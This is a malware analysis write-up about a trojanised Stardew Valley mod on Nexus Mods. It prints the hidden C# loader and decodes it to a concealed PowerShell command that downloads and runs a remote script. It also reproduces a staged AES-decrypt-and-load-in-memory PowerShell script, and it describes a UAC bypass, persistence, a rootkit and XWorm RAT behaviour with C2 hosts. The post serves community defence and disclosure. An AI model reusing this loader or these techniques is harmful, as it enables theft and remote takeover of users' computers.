the first stardew valley malware

Published: 20/11/2026

Updated: 21/11/2026

preface

Stardew Valley, like a lot of games, loads essentially unsandboxed code for it’s mods written in C# (instead of mods made using a framework). Despite this, for almost 10 years we had never dealt with abuse of this system, until last year.

discovery

On the 12th of July, 2026, a message was sent to a chat consisting mostly of stardew valley mod authors

User avatar
Scarlett 12/07/2026, 07:59

wtf is going on here googlyconfused https://www.nexusmods.com/stardewvalley/mods/35520 https://www.nexusmods.com/stardewvalley/mods/35601

Portable Community Center

Portable Community Center lets you access and complete Community Center bundles from anywhere — just click the Junimo Note icon in your inventory!

embed thumbnail

EvenBetterPortableCommunityCenter

Updated version of the Portable Community Center lets you access and complete Community Center bundles from anywhere — just click the Junimo Note icon in your inventory!

embed thumbnail

a brand new account had just uploaded an “even better” version of the Portable Community Center mod, uploaded two days after the original.

it was shortly decompiled, and the difference between the original and the “even better” version was only a few lines:

the abnormality

public static readonly string MOD_DESCRIPTION = CustomAttributeExtensions.GetCustomAttribute<AssemblyDescriptionAttribute>(Assembly.GetExecutingAssembly())!.Description;

public static string[] GUICalc = new string(Array.ConvertAll(MOD_DESCRIPTION.Split('-'), (string x) => (char)int.Parse(x))).Split('`');

public override void Entry(IModHelper helper)
{

    Type type = Enumerable.FirstOrDefault(
        Enumerable.SelectMany(AppDomain.CurrentDomain.GetAssemblies(), 
            (Assembly a) => a.GetTypes()), (Type t) => t.FullName == GUICalc[1].Split(',')[0]);
    if (type != null)
    {
        MethodInfo method = type.GetMethod(GUICalc[0], new Type[2] { typeof(string), typeof(string) });
        if (method != null)
        {
            method.Invoke(null, new object[2] { GUICalc[2], GUICalc[3] });
        }

This code will read the loaded assembly’s description attribute - which is an attribute never normally set in stardew valley mods, perform some modifications to it and invoke methods based on it.
The purpose of this becomes obvious as the aforementioned description was as follows:

83-116-97-114-116-96-83-121-115-116-101-109-46-68-105-97-103-110-111-115-116-105-99-115-46-80-114-111-99-101-115-115-44-32-83-121-115-116-101-109-96-99-109-100-46-101-120-101-96-47-99-32-112-111-119-101-114-115-104-101-108-108-46-101-120-101-32-45-78-111-80-114-111-102-105-108-101-32-45-87-105-110-100-111-119-83-116-121-108-101-32-72-105-100-100-101-110-32-45-67-111-109-109-97-110-100-32-34-73-110-118-111-107-101-45-87-101-98-82-101-113-117-101-115-116-32-45-85-114-105-32-34-104-116-116-112-115-58-47-47-100-101-108-105-99-97-116-101-45-104-97-122-101-45-53-102-99-49-46-97-98-98-114-105-108-109-97-114-116-105-110-101-122-49-50-46-119-111-114-107-101-114-115-46-100-101-118-47-104-105-34-32-45-79-117-116-70-105-108-101-32-34-36-101-110-118-58-84-69-77-80-92-116-101-109-112-46-99-109-100-34-59-32-83-116-97-114-116-45-80-114-111-99-101-115-115-32-45-70-105-108-101-80-97-116-104-32-34-36-101-110-118-58-84-69-77-80-92-116-101-109-112-46-99-109-100-34-32-45-87-105-110-100-111-119-83-116-121-108-101-32-72-105-100-100-101-110-32-45-87-97-105-116-59-32-34

These are ASCII/UTF8 code points, so can be converted by casting as a number, or js’ String.fromCharCode. Converting this, gives the following:

Start`System.Diagnostics.Process, System`cmd.exe`/c powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri "https://delicate-haze-5fc1.abbrilmartinez12.workers[.]dev/hi" -OutFile "$env:TEMP\temp.cmd"; Start-Process -FilePath "$env:TEMP\temp.cmd" -WindowStyle Hidden -Wait; "

skip to #conclusion if you dont want all the details

the malware

Which.. is only slightly suspicious. This means that the mod will start a process: cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri "https://delicate-haze-5fc1.abbrilmartinez12.workers[.]dev/hi" -OutFile "$env:TEMP\temp.cmd"; Start-Process -FilePath "$env:TEMP\temp.cmd" - WindowStyle Hidden -Wait;"

At the time of discovering this, it was 8 in the morning on a Saturday night (a sleep schedule described at the time as “uhhh”). Which is of course, prime reverse engineering time.

Nexus, to their credit (unlike some other mod sites), removed the mod within 10 minutes of it being reported, and about 7 hours after upload. Cloudflare also quickly froze the worker.

The script which it downloads is heavily obfuscated, making use of delayed expansion. Despite me making a few scripts to attempt parsing the mess of variables externally, I wasn’t able to get anything substantial. So, I turned to running it inside of a sandbox, any.run to be specific.

From this, it can be determined that this script spawns yet another powershell script, through a hidden window and -enc (“stage2”).

It also opened a connection to kingdom-gates.gl.at.ply[.]gg:62800, lasting 41935ms, but I couldn’t determine anything in its traffic.

stage 2

This spawned powershell process abuses a UAC bypass in cmstp.exe (Microsoft Connection Manager Profile Installer), although it’s not clear what it does with that elevation.

The actual executed base64-encoded script it runs, can be considered stage 3.

stage 3

Ran through being base64 encoded and powershell-spawned, this script decodes to (some anti-simple searching (using .Replace) trimmed to make it easier to read):

(([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GetName().Name -eq 'System.Management.Automation'}|select -first 1).GetType('System.Management.Automation.ScriptBlock').GetMethod('Create').Invoke($null,@((-join(<a very large block of comma-separated character points>|%{[char]$_}))))).Invoke();

Which executes.. yet another powershell script (“stage 4”)

stage 4

The encoded character points, like used in the initial description, decodes to another powershell script (some variables, except for batContent have been renamed for ease of reading):

# this was big list of numbers in stage3
# variable names by me! (except for batContent for some reason? that was already named)
function decrypt($inputContent){
    $crypt=[System.Security.Cryptography.SymmetricAlgorithm]::Create('AES');
    $crypt.Mode=1;
    $crypt.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
    $crypt.Key=[Convert]::FromBase64String('XKDbIJ3XUOU/mx6aH6ulMF1SyE/rJTvq9Os1r9W9qVE=');
    $crypt.IV=[Convert]::FromBase64String('LUySwZTQMLBY6ZK9cR30Mg==');
    $decryptor=$crypt.CreateDecryptor();
    $output=$decryptor.TransformFinalBlock($inputContent, 0, $inputContent.Length);
    $decryptor.Dispose();
    $crypt.Dispose();
    $output;
}
function loadAndRun($inputContent,$aargs){
    $loaded = [System.Reflection.Assembly]::Load([byte[]]$inputContent);
    $entry=$loaded.EntryPoint;
    $entry.Invoke($null, $aargs);
}
$batPath = [System.IO.Path]::Combine($env:TEMP, 'DyQOoQlozeTzwDdLPDSh.tmp');
#batContent is always just the path back to original stage1 bat
$batContent = (Get-Content -Path $batPath -Raw).Trim();
Remove-Item -Path $batPath -Force;
$host.UI.RawUI.WindowTitle = $batContent;
$batLines=[System.IO.File]::ReadAllText($batContent).Split([Environment]::NewLine);

foreach ($line in $batLines) {
    if ($line.StartsWith(':: ')) {
        $commentedline=$line.Substring(3);
        break;  
    }
}

$parts = $commentedline -split '\\';
$p1= decrypt ([Convert]::FromBase64String($parts[0]));
loadAndRun $p1 $null;

$p2 = decrypt ([Convert]::FromBase64String($parts[1]));
# copy local script args ig?
loadAndRun $p2 (,[string[]] ('%*'));

This will read the original bat that was grabbed from the cloudflare worker, find the lines that are commented out (:: ), and treat them as Base64-encoded AES-encrypted binaries. It then decodes and decrypts them, and executes them in memory using powershell’s access to reflection.

stage 5

binary 1

The first executable decrypted is an 88 KiB .NET Framework 4.8 executable. (SHA256: 732d21fbaba294807c6a237d675ae0d98625a740dcc885a06111f7e180b29107).

It, unsurprisingly, is extremely flagged on VirusTotal: /gui/file/731d…107, and it was first submitted to virustotal 5 days before the mod got uploaded, under the name zpMLSOIM.exe

It’s very obfuscated, although running it through any.run doesn’t seem to yield anything too interesting. Just a lot of registry queries. Except, that it creates two mutexes - Local\SM0:4576:304:WilStaging_02 and Global\CPFATE_4576_v4.0.30319. These seem to have been observed in reference to “remcos” and “grixba”, respectively

After a lot of deobfuscation efforts - including the c# source languages with regexes (which isn’t actually that bad when it’s normalised out of the decompiler), as far as I can tell it patches runtime modules with their original, on-disk versions to evade antiviruses that will patch them to log calls.

binary 2

The second one is another .NET executable, at 400 KiB. (SHA256: fa76a0576cf620135b382dffe16ffe4d05e556b3b7f2a23cbaca6c7e48c69b72)

It, like the first one, has a lot of flags on VirusTotal: /gui/file/fa76…b72, and it was first submitted 8 hours after the mod was uploaded, under the name xyMPhRUN.exe.

It’s quite obfuscated, but significantly less so than the first.

It makes significant use of quadruple-encoded Base64 assemblies loaded in-memory.

When it’s ran, it seems to just hang significantly and do nothing, except it does drop and run a runuac.vbs in the temp directory - which simply reruns the executable via CreateObject("WScript.Shell").Run

It also seems to create similar mutexes to the first binary, Global\CPFATE_6568_v4.0.30319 and Local\SM0:6568:304:WilStaging_02

Specifically running it as admin yields more results:

  • it registers a scheduled task to run at login, with the name MicrosoftFod_str, running the AppData\Roaming\$syt-MicrosoftFod.vbs' script. This script just runs the .cmd with the same name through WScript.Shell
  • it immediately runs this script, which also spawns AppData\Roaming\$syt-MicrosoftFod.cmd, however that is actually another .NET executable. In fact, it’s actually just the initial file again.
  • The .cmd file is the point that connects to the kingdom-gates.gl.at.ply.gg host, however by now it’s dead (only discovered this point in August 2026)

Deobfuscating it (a combination of triple base64, rot13, and two more base64s), reveals it

  • takes in an executable via an argument
  • installs itself persistently into %appdata%, which will be run via schtasks if admin, otherwise a HKCU Run key. This seems to be an exe to %appdata%\$syt-MicrosoftFod.cmd, and a bat to %appdata%\$syt-MicrosoftFod.vbs
    • The exact task it’ll install is with the name MicrosoftFod_str, and it runs that MicrosoftFod.vbs file.
    • It uses the same MicrosoftFod_str name when installing it into Software\Microsoft\Windows\CurrentVersion\Run
  • copy the normal C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe to a $syt-powershell.exe in the same directory, and relaunch itself using it.
  • It also executes a number of embedded resources, all of which are gzipped and AES-encrypted using the key vHZbvvOHJAxdkQdXDrzaqOhTmIVsc5B4TcnC+F6ZU9U= and the IV kY5kDt6AmXu47h5Tc/JOqA==:
    • 9c4ab5cd-8209-43f5-affd-fee8c9bbc98c for non-admin
    • 7caae8f7-8a9c-4332-8d1b-9e59a03baa8d for admin
    • 2402baae-2493-4818-9917-df155e4516d9 for both

resource 1 (9c4a.., non admin)

The majority of this file is extremely high entropy, so it’s mostly compressed/encrypted.

Interestingly, this file was first known to virustotal in November of 2025, under the name NetUAC.exe

It seems to just be a UAC bypass script abusing cmstp.exe.

resource 2 (7caa…, admin)

Like the first resource, this is consistently extremely high entropy.

It’s detected by antiviruses as the popular r77 rootkit, and my upload was its first exposure to VirusTotal

resource 3 (2402…, both)

Written in VB.NET, this is an XWorm payload. Interestingly, it was first submitted to VirusTotal as DoThus.exe, on the third of July, 2025 - 9 days before upload.

This is the point at which that playit host is contacted, but still nothing is communicated. Presumably, the C2 has gone down at some point in the last year, unsurprisingly.

Very surprisingly, this is not obfuscated at all, aside from runtime decryption of some key communication strings, this is done by MD5 hashing the Mutex setting (bRP4ZWMrUOGptBot), and copies it to create the necessary 32 bytes, and decrypts the base64 input with AES-ECB. Yielding the following:

  • The host is hardcoded to be exclusively the kingdom-gates.gl.at.ply.gg seen earlier, despite having support for multiple hosts (Settings.Hosts.Split(new char[1] { ',' })[new Random().Next(Settings.Hosts.Split(new char[1] { ',' }).Length)])
  • The version of XWorm is XWorm V5.6
  • The HWID it generates on the opening of the connection to the server discloses a variety of points, separated by an “SPL” value - in this case <Xwormmm>
    • An “ID” of the core count, user name, machine name, OS version and total disk size
    • The user name
    • The OS’ full name
    • The installed service pack
    • The bitness of the OS
    • The XWorm version
    • The creation date of the current file
    • Whether it’s running from the copy it clones to USB drives, seemingly.
    • If an admin is running it
    • Whether there’s a webcam connected
    • The CPU model
    • The GPU Model
    • The amount of ram
    • The names of any antiviruses installed

It also does a LOT of other things, as is characteristic of an XWorm sample. It can keylog (even offline), screenshot, DDOS on demand, download and run arbitrary further executables, among others. Surprisingly, there is also an uninstall function - which is as simple as deleting its own executable.

the second and third attempts

Another mod, uploaded under “BrEvoiultion”, this time, was uploaded 18 hours after the first Even Better Community Centre. This mod, GiveSpeedInMorning, had exclusively AI generated images on its mod page. This time, it is a clone of the legitimate Early Bird (morning speed buff) mod by tigcr, with malicious code injected. It does the exact same thing as EBPCC, including using the same cloudflare worker URL, which by the point it was uploaded was already suspended, meaning this was nonfunctional from the moment it was uploaded.

This was also removed quite quickly.

The next day, at ~2PM on the 13th, a third mod, SpeedLoader (by “killityler”), matching what had been done with the previous two had done was uploaded. This time, it was a clone of the legitimate FastLoads mod. It was gone in less than 15 minutes, as while it didn’t yet contain malware - it was obviously stolen. It’s presumed that the perpetrator planned to upload malware in a later update, instead of on release.

For some reason, the third account didn’t rotate their IP from one of the previous uploads, so it was easily provable how they were connected, on top of everything.

conclusion

The mod was pretty quickly removed and the reuploads were gone even quicker, without any known real users effected. The C2s were gone extremely quickly too.

In the year since this, we’ve had a number of further attacks, but very recently with projects like the malware scanner, hopefully this will be not as much of a concern (as it has detected all malicious mods made up to this point, and hopefully into the future).

In this specific case, it was quite an aggressive RAT & infostealer, so not something you’d want to have installed.

To protect yourself, avoid new mods from unknown authors, and please, do not use ModDrop - it’s barely moderated and refused to take down malware for over a year.


In the year since, we’ve seen quite a few more malicious mods (note that this is overall in the month, this does not mean there’s currently 3 malicious mods available on nexus): a graph showing malicious mods uploaded to nexus/curseforge/moddrop. peaking in september 2026

image credit: pathoschild